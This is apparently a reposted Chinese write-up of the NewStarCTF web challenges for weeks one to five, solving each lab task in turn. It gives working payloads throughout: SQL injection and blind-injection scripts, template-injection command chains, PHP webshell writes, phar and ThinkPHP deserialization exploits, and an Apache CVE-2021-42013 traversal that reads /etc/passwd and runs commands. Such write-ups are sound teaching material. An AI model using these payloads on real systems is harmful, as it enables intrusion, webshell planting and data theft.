NewStarCTF 公开赛-web

week1

HTTP

cookie 修改admin 源码发现key GET和POST传参即可

Head?Header!

User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1

我真的会谢

信息泄露

robots.txt

www.zip

源码 + /.index.php.swp

NotPHP 函数绕过

iffile_get_contents$_GET['data']) == "Welcome to CTF"){ifmd5$_GET['key1']) === md5$_GET['key2']) && $_GET['key1'] !== $_GET['key2']){if!is_numeric$_POST['num']) && intval$_POST['num']) == 2077){echo "Hack Me";eval"#".$_GET['cmd']);}else{die"Number error!");}}else{die"Wrong Key!");}
}else{die"Pass it!");

1,绕过file_get_contents),用input伪协议,即 /?data=php://input POST一个Welcome to CTF

用data协议绕,?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=

2,md5强比较碰撞&key1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&key2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这里可以直接数组绕过 key1[]=1&key2[]=2

3,绕数字判断,intval只取前面的数字,后面的字母会忽略

num=2077abc

4,绕# 命令执行,用回车符%0d,我用换行符%0a打不通不知道为啥

&cmd=%0dsystem"ls /");

在bp里需要URL编码进去rec

Word-For-You 万能密码

一个留言板和查询,为什会考查万能密码

万能密码NewCTFer' or 1#

week2

Word-For-You2 Gen) 报错注入

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了

有报错信息回显,那就报错注入

name=1' and updatexml1,concat0x7e,select database)),0x7e),1)--+name=1'and updatexml1,concat0x7e,select group_concattable_name) from information_schema.tables where table_schema=database)),0x7e),1)--+name=1'and updatexml1,concat0x7e,select rightgroup_concattable_name),30) from information_schema.tables where table_schema=database)),0x7e),1)--+name=1'and updatexml1,concat0x7e,select group_concatcolumn_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+name=1'and updatexml1,concat0x7e,select rightgroup_concattext),30) from wfy.wfy_comments),0x7e),1)--+

IncludeOne 文件包含+伪随机数

include"seed.php");
//mt_srand*********);
echo "Hint: ".mt_rand)."<br>";
ifisset$_POST['guess']) && md5$_POST['guess']) === md5mt_rand))){if!preg_match"/base|\.\./i",$_GET['file']) && preg_match"/NewStar/i",$_GET['file']) && isset$_GET['file'])){//flag in `flag.php`include$_GET['file']);}else{echo "Baby Hacker?";}
}else{echo "No Hacker!";
} 
Hint: 1219893521

用工具跑一下种子 ,php伪随机数的考点看https://www.freebuf.com/column/205240.html

image-20221115225629599

得到seed是1145146,那么如何得到固定的mt_rand)呢,去运行mt_srand1145146)

<?php
mt_srand1145146);
mt_rand);
echo mt_rand);
?>  得到1202031004 

伪协议读取flag.php ,那么对filter进行了过滤 base,可以两次url编码绕过,NewStar就是直接用|加进去过滤器

image-20221115230641472

UnserializeOne 反序列化

<?php
error_reporting0);
highlight_file__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset$var){$this->func));}
}class Sec{private $obj;private $var;public function __toString){$this->obj->check$this->var);return "CTFers";}public function __invoke){echo file_get_contents'/flag');}
}class Easy{public $cla;public function __call$fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone){ifisset$this->obj->cmd)){echo "success";}}
}ifisset$_POST['pop'])){unserialize$_POST['pop']);
}

先找可利用函数,找到file_get_contents‘/flag’); 直接输出flag了

找链子

Start类__destruct)–>Sec类__toString)–>Easy类__call–>eeee类__clone–>``Start类__isset`–>

Sec类__invoke

这里唯一比较绕的点是__call$fun, $var) 这个$fun是上一步调用的方法名即check,$var是其参数即$this->var)

所以进入__call)的方法是 构造$this->var

构造pop

<?php
class Start{public $name;public $func;
}
class Sec{public $obj;public $var;}
class Easy{public $cla;
}
class eeee{public $obj;}
$st = new Start);
$se = new Sec);
$ea = new Easy);
$ee = new eeee);$st->name=$se;
$se->obj=$ea;
$se->var=$ee;
$ee->obj=$st;
$st->func=$se;echo serialize$st);;O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

ezAPI graphQL

qsdz开发了一个查询网页,但是好像存在一些漏洞?

之前没遇到过graphQL这个知识点,此文不错 https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

本题首先是源码泄露 www.zip

<?phperror_reporting0);$id = $_POST['id'];function waf$str){if !is_numeric$str) || preg_replace"/[0-9]/", "", $str) !== "") {return False;} else {return True;}}function send$data){$options = array'http' => array'method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60));$context = stream_context_create$options);$result = file_get_contents"http://graphql:8080/v1/graphql", false, $context);return $result;}if isset$id)) {if waf$id)) {isset$_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pkid:' . $id . ') {\nname\n}\n}\n", "variables":null}';$res = json_decodesend$data));if $res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;} else {echo "<b>Can't found it!</b><br><br>DEBUG: ";var_dump$res->data);}} else {die"<b>Hacker! Only Number!</b>");}} else {die"<b>No Data?</b>");}?>

可以知道是要post一个data变量

一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fieldsincludeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValuesincludeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

查询这些数据就会返回所以的API信息

image-20221116002637864

搜索flag关键字 找到flag的接口 ffffllllaaagggg_1n_h3r3_flag

现在只需要读flag就好了,当然也是通过graphQL的格式来读,看源码里读数据的格式

{"query":"query{\nusers_user_by_pkid:' . $id . ') {\nname\n}\n}\n", "variables":null}

image-20221116003421228

尝试读到数据,进行模仿读取flag

{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n","variables":null}

image-20221116003527088

week3

BabySSTI_One

简单的SSTI

image-20221116180007755

是过滤了一些关键词class什么的,lipsum这条链子直接梭了

/?name={{lipsum.__globals__['__builtins__']['eval']"__import__'os').popen'nl /fl*').read)")}}

常规思路打一波:

关键字被ban了可以用字符拼接一下 {{""['__cla'+'ss__']}}

先读基类和所有子类

/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__'])}}

image-20221119144959273

拿到后脚本跑一下 找敏感类

import jsona = """<class 'type'>, <class 'weakref'>, ......"""num = 0
allList = []result = ""
for i in a:if i == ">":result += iallList.appendresult)result = ""elif i == "\n" or i == ",":continueelse:result += ifor k, v in enumerateallList):if "os._wrap_close" in v:printstrk) + "--->" + v)

image-20221119145327438

即用__subclasses__)[117]

到了下一个点,.init.globals,这个init用来初始化类,globals用来全局查找所有方法和变量及参数是有popen的,这个就可以命令执行了

/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__'])[117]['__in'+'it__'].__globals__['popen']'id').read)}}

image-20221119150107314

成功执行命令,最终payload

/?name={{""['__cla'+'ss__']['__bas'+'e__']['__subcl'+'asses__'])[117]['__in'+'it__'].__globals__['popen']'nl /fl*').read)}}

multiSQL 堆叠注入

image-20221119133035929

堆叠注入

1';show databases#
1';show tables from english#
1';show columns from score#

image-20221119134341931

现在的目的是帮助火华用户修改成绩,然后验证成绩才能得到flag

fuzz一下 很多关键字被ban了 ,update,select,insert

1,用replace代替insert进行修改

1';replace into score values"火华",400,400,400);#

image-20221119134702306

删除 第一个火华 ,然后拿到flag

1';delete from score where listen=11;#

image-20221119134826601

2,利用预处理prepare,然后concat拼接字符串绕过

1';set @sql=concat'up','date `score` set listen=200 where username="火华"');prepare payload FROM @sql;execute payload#

3,尝试写shell

没有成功

IncludeTwo pearcmd.php的利用

How to RCE via LFI? P…

<?php
error_reporting0);
highlight_file__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if!preg_match"/base64|rot13|filter/i",$_GET['file']) && isset$_GET['file'])){include$_GET['file'].".php");
}else{die"Hacker!");
}

这题是直接过滤了filter协议 ,这里可以考虑pearcmd.php的利用,参考P神的文章

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

config-create命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中

/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval$_POST[1]);?>+/tmp/shell.php

image-20221119180050556

image-20221119180115854

访问shell文件即可rce

Maybe You Have To think More

image-20221119181349159

访问一个错误页面就得到了TP的版本信息

整个页面是输入用户名的框 ,会将用户名存在cookie里面 以序列化语句+base64存入

O:17:"first\second\user":2:{s:8:"username";s:5:"12345";s:8:"password";N;}

image-20221119180734527

所以反序列化点在cookie

网上有exp可以用https://www.freebuf.com/vuls/263977.html

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

放入cookie

然后get一个id执行命令 ,flag在环境变量里

image-20221119184449481

week4

So Baby RCE

<?php
error_reporting0);
ifisset$_GET["cmd"])){ifpreg_match'/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){echo "Don't Hack Me";}else{system$_GET["cmd"]);}
}else{show_source__FILE__);
}

主要是过滤文件读取命令 空格 /目录分隔符

看mochu师傅是:利用cd切换目录,&&执行多条命令,$@绕过关键字 sort命令也可以读文件,学习一波

/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls

image-20221120013747764

/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}fff?llllaaaaggggg
$@绕过关键字 
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca$@t${IFS}ffff$@llllaaaaggggg

BabySSTI_Two

过滤比较上周更严 首先双引号" 就没了,但单引号’ . __ 还在

+被禁了,那么字符拼接就先放弃

还有一种思路是字符串逆序

{{''['__ssalc__'[::-1]]}} 来凑出关键字

{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]])}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]])[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]'id').read)}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]])[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]'ls%09/').read)}}
读flag用上题的绕过方法即可 
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]])[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]'sort%09/fla?_in_h3r3_52daad').read)}}

UnserializeThree phar反序列化

image-20221120210541716

有一个上传点,只上传图片

源码里面有注释

直接访问

<?php
highlight_file__FILE__);
class Evil{public $cmd;public function __destruct){if!preg_match"/>|<|\?|php|".urldecode"%0a")."/i",$this->cmd)){//Same point ,can you bypass me again?eval"#".$this->cmd);}else{echo "No!";}}
}file_exists$_GET['file']);

其实根本没有反序列化,就是直接eval了$cmd的内容

不过需要绕一下 "#".$this->cmd ,绕注释可以换行, ban了%0a也就是\n\r替代就可以

<?php
class Evil{public $cmd = "\rsystem'cat /flag');";
}
$a = new Evil); //创建对象
# 下面这部分就没改
$phar = new Phar"phar.phar");
$phar->startBuffering);
$phar->setStub"<?php __HALT_COMPILER); ?>"); //设置stub
$phar->setMetadata$a); //将自定义的meta-data存入manifest
$phar->addFromString"test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering);

生成的phar.phar 改后缀.jpg 然后上传

image-20221120222623098

拿到路径后 phar读取

image-20221120222641842

又一个SQL

这题主要是把空格过滤了 然而常规%09还有/**/还是被禁用了

/**/这是多行注释

/*!*/是内联注释, 本题可以用/*!*/

手测发现是数字型 ,和布尔盲注 ,回显好耶即注入成功

image-20221121204953484

写脚本盲注

import time
import requestsdef getDatabase):ans=''for i in range1,1000):low = 32high = 128mid = low+high)//2while low < high:#sql = "select/*!*/database)"sql="select/*!*/group_concattable_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=database)"# mysql.innodb_table_stats"sql="select/*!*/group_concatcolumn_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name='wfy_comments'"sql="select/*!*/group_concattext)/*!*/from/*!*/wfy.wfy_comments"payload= "1/*!*/and/*!*/asciisubstr{}),{},1))<{})#".formatsql,i,mid)res = requests.post"http://55bf184d-6484-4bbe-bcae-5799b8bcf38b.node4.buuoj.cn:81/comments.php?name="+payload)# printpayload)# printres.text.split"\n")[-1])if "好耶" in res.text:high = midelse:low = mid+1mid=low+high)//2# if mid <= 32 or mid >= 127:#     breaktime.sleep0.5)ans += chrmid-1)print"[+] "+ans)getDatabase)

基本的盲注脚本注意空格即可

最后爆出的flag内容前面一堆不可见字符,所以脚本不要过滤不可见字符

image-20221121211320066

week5

Give me your photo PLZ 图片马

image-20221121211732351

最基础的图片马文件上传 ,Nginx服务器

.htaccess也没被ban

<FilesMatch "pass.png">
SetHandler application/x-httpd-php
</FilesMatch>

传入.htaccess pass.png 成功被执行

image-20221121212223989

image-20221121212344765

Unsafe Apache Apache版本漏洞利用

image-20221121212454276

直接插件读到了服务器版本,响应头也可以

image-20221121212632401

去搜版本漏洞利用, 都是Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

https://blog.csdn.net/weixin_47311099/article/details/121773364

目录穿越

http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20221121213114725

命令执行

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/shecho;ls /

image-20221121213818449

So Baby RCE Again

<?php
error_reporting0);
ifisset$_GET["cmd"])){ifpreg_match'/bash|curl/i',$_GET["cmd"])){echo "Hacker!";}else{shell_exec$_GET["cmd"]);}
}else{show_source__FILE__);
}

过滤bash curl 是不让反弹shell ,代码是没有回显

可以通过shell_exec)写入shell

/?cmd=echo '<?php eval$_POST[1]);?>' > shell.php

image-20221120195425054

但是发现读不到flag文件 ,蚁剑连接shell

ls -lha 查看文件权限

image-20221120200043920

考虑SUID提权 ,蚁剑这个命令没回显,还是要保存一下 ,在浏览器执行还是有回显的,还是利用date直接读

find / -perm -u=s -type f 2>/dev/null

image-20221120203238500

BabySSTI_Three

相较上周,又ban了下划线__ ,选择直接unicode编码绕

{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f'])}}最后payload 
{{''['__class__']['__bases__'][0]['__subclasses__'])[117]['__init__']['__globals__']['popen']'id').read)}}
编码后即
{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f'])[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']'id').read)}}

读flag

{{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f'][0]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f'])[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']'sort%09/fla*').read)}}

Final round 时间盲注

啊呜,好困呜呜~~~

题干也提示 时间盲注了

依然脚本跑 ,这题很坑的是把/*!*/也禁用了 ,所以使用括号分隔

import time
import requests
url='http://94a74348-9436-4092-a809-a2b7d8c9fc19.node4.buuoj.cn:81/comments.php'
def getflag):ans=''for i in range1,100):low = 32high = 128mid = low+high)//2while low < high:sql = "database)"sql="selectgroup_concattable_name))frominformation_schema.tables)wheretable_schema=database)))"# mysql.innodb_table_statssql="selectgroup_concatcolumn_name))frominformation_schema.columns)wheretable_name='wfy_comments'))"sql="selectreversegroup_concattext)))fromwfy.wfy_comments))"data={'name':'132||ifasciisubstr{},{},1))<{},sleep0.2),0)'.formatsql,i,mid)}start=time.time)res = requests.posturl,data=data)end = time.time)time_cha=end-startif time_cha>2:high = midelse:low = mid+1mid=low+high)//2ans += chrmid-1)print"[+] "+ans)getflag)

还是好久没跑时间盲注的脚本了,有些东西废了点时间

设置睡的时间请求的时间差那里一直不是特别了解,测试倒是没问题,sleep0.2)时请求的时间差大概在2.5s

最后跑flag用了一下逆序reverse),就不用等那么久了

image-20221122003628945

查看全文

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dgrt.cn/a/243514.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章:

image-20221122003628945

NewStarCTF 公开赛-web

week1
HTTP
cookie 修改admin 源码发现key GET和POST传参即可
Head?Header!
User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1我真的会谢
信息泄露
robots.txt
www.zip
源码 /.index.php.swp
NotPHP 函数绕过
iffile_get_contents$_GET[data]) &qu……

Go 语言报错 StackGuardMultiplier redeclared in this block

前言
最近在 GitHub 刷到了 GitHub – golang-china/gopl-zh: Go语言圣经中文版, 然后又是周末,就起了玩心。搞一个 Go 玩玩,去 The Go Programming Language下载了 Go 语言安装包,一路默认安装。然后打开 VS Code 安装 Extensio……

Vue3中v-if与v-for、多事件处理器即案件修饰符、$attrs、$root和$parent

文章目录1. v-if与v-for及动态属性ref的使用2. 多事件处理器及按键修饰符3. $attrs包含class和style4. \$root和$parent1. v-if与v-for及动态属性ref的使用
在 vue3 中,当 v-if 与 v-for 一起使用时,v-if 具有比 v-for 更高的优先级。
下面是 v-for 结……

Webpack 5 超详细解读(四)

31.proxy 代理设置
为什么开发阶段需要设置代理,在开发阶段,我们需要请求后端接口,但是一般后端接口地址和我们本地的不在同一个服务中提供,这时进行访问就会存在跨域的问题,所以我们需要对我们的请求进行转啊操作。模拟跨域请求代码如下: https://api.github.com/users……

java毕业设计智慧问诊系统Mybatis+系统+数据库+调试部署

java毕业设计智慧问诊系统Mybatis系统数据库调试部署 java毕业设计智慧问诊系统Mybatis系统数据库调试部署本源码技术栈:
项目架构:B/S架构
开发语言:Java语言
开发软件:idea eclipse
前端技术:Layui、HTML、CSS、……

Spring——IOC容器部分核心接口

Spring——IOC容器部分核心接口一、简介二、IOC容器核心接口1.BeanDefinition2.BeanDefinitionReader3.BeanDefinitionRegistry4.BeanFactory5.ApplicationContext6.BeanPostProcessor7.BeanFactoryPostProcessor8.BeanDefinitionRegistryPostProcessor9.总结一、简介
以下接口……

华为机试 – 水仙花数 Ⅰ

目录
题目描述
输入描述
输出描述
用例
题目解析
算法源码 题目描述
所谓水仙花数,是指一个n位的正整数,其各位数字的n次方和等于该数本身。
例如153是水仙花数,153是一个3位数,并且153 1^3 5^3 3^3。 输入描述
第一行……

阿里8年测试经验,手工测试转变为自动化测试,送给正在迷茫的你

前言
随着软件测试技术的发展,人们已经从最初的纯粹的手工测试转变为手工与自动化测试技术相结合的测试方法。近年来,自动化测试越来越受到人们的重视,对于自动化测试的研究也越来越多。
项目版本功能日趋增加,系统模块越来越多……

一起Talk Android吧(第四百二十一回:绘图中添加阴影)

文章目录使用背景添加方法通过画笔添加通过属性添加示例代码各位看官们,大家好,上一回中咱们说的例子是"绘制文字",这一回咱们介绍的例子是"绘图中添加阴影"。闲话休提,言归正转,让我们一起Talk Android吧&am……

MySQl(六):日志

Mysql:日志日志错误日志二进制日志查询日志慢查询日志事务日志日志 错误日志 Linux 实时查看尾部内容
创建一个错误,进入log去看 二进制日志 查询日志 慢查询日志 事务日志
数据库都具有事务日志,用于记录所有事务以及每个事务对数据库所做……

k8s学习-CKS真题-K8S安全策略PodSecurityPolicy

目录题目环境搭建解题参考题目 Task 使用 Trivy 开源容器扫描器检测 namespace kamino 中 Pod 使用的具有严重漏洞的镜像。 查找具有 High 或 Critical 严重性漏洞的镜像,并删除使用这些镜像的 Pod。 注意:Trivy 仅安装在 cluster 的 master 节点上&……

STM32F103基于HAL库I2C/SPI硬件接口+DMA驱动 SSD1306 Oled

STM32F103基于HAL库I2C/SPI硬件接口DMA驱动 SSD1306 Oled✨由于手上只有I2C接口的SSD1306 OLED屏幕,仅测试了硬件I2C驱动显示功能,实际测试的FPS帧率在37或38变化。 📢本项目从Github开源项目中移植过来,开源地址:http……

English Learning – L2 第 14 次小组纠音 复习元音 [ɔɪ ] [aʊ] [əʊ] [ɪə] 弱读 2023.4.12 周三

English Learning – L2 第 14 次小组纠音 复习元音 [ɔɪ ] [aʊ] [əʊ] [ɪə] 弱读 2023.4.12 周三共性问题coin voice /kɔɪn/ /vɔɪs/ 中 ɔɪvowel pounds /ˈvaʊəl/ /paʊndz/ 中的 aʊshow /ʃəʊ/beer nearly /bɪə/ /ˈnɪəlɪ/ 中的 ɪəbest bed ten /best/……

LC-1157. 子数组中占绝大多数的元素(二分查找+随即猜,摩尔投票+线段树,upper_bound和lower_bound函数)

文章目录[1157. 子数组中占绝大多数的元素]https://leetcode.cn/problems/online-majority-element-in-subarray/)统计每个元素的索引-超时二分查找 随机猜摩尔投票 线段树[剑指 Offer 39. 数组中出现次数超过一半的数字]https://leetcode.cn/problems/shu-zu-zhong-chu-xi……

杭州旭航集团,申请纳斯达克IPO上市,募资9800万美元

来源:猛兽财经 作者:猛兽财经 猛兽财经获悉,为中国企业提供数字内容营销服务的杭州旭航网络科技有限公司的控股公司Xuhang Holdings Ltd以下简称:旭航集团),近期已向美国证券交易委员会(SEC)提……

深度学习快速参考:11~13

原文:Deep Learning Quick Reference 协议:CC BY-NC-SA 4.0 译者:飞龙 本文来自【ApacheCN 深度学习 译文集】,采用译后编辑(MTPE)流程来尽可能提升效率。 不要担心自己的形象,只关心如何实现目……

基于copula的风光联合场景生成与缩减

目录
1 主要内容
风光出力场景生成方法
2 部分程序
3 程序结果
4 程序链接
点击直达! 1 主要内容
该程序方法复现《融合风光出力场景生成的多能互补微网系统优化配置》风光出力场景生成部分,目前大多数研究的是不计风光出力之间的相关性影响&amp……

TS 使用自动提示生成对象中的键

TS 使用自动提示生成对象中的键
使用 plain object 而不是 class 的原因主要是在于 redux 中保存的对象需要为可序列化的对象。当然,具体操实现的时候肯定是可以无视这个需求的,不过 Redux 团队强烈建议使用可序列化对象,具体的官方文档说明……

Spring Boot概述(一)

1. SpringBoot 概述
1.1 SpringBoot 概念
SpringBoot提供了一种快速使用Spring的方式,基于约定优于配置的思想,可以让开发人员不必在配置与逻辑业务之间进行思维的切换,全身心的投入到逻辑业务的代码编写中,从而大大提高了开发的……

计算机笔试/面试常见逻辑题/智力题汇总

说明:按种类汇总,难度不分先后,做了分级罗列,方便后续扩充,大家有比较有意思的题目可以在讨论区讨论。 下面有的题题解相对复杂的直接参考了网上的一些解答,而有的题解我认为并不好的也做了补充&#xff0c……

Published by

风君子

独自遨游何稽首 揭天掀地慰生平

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注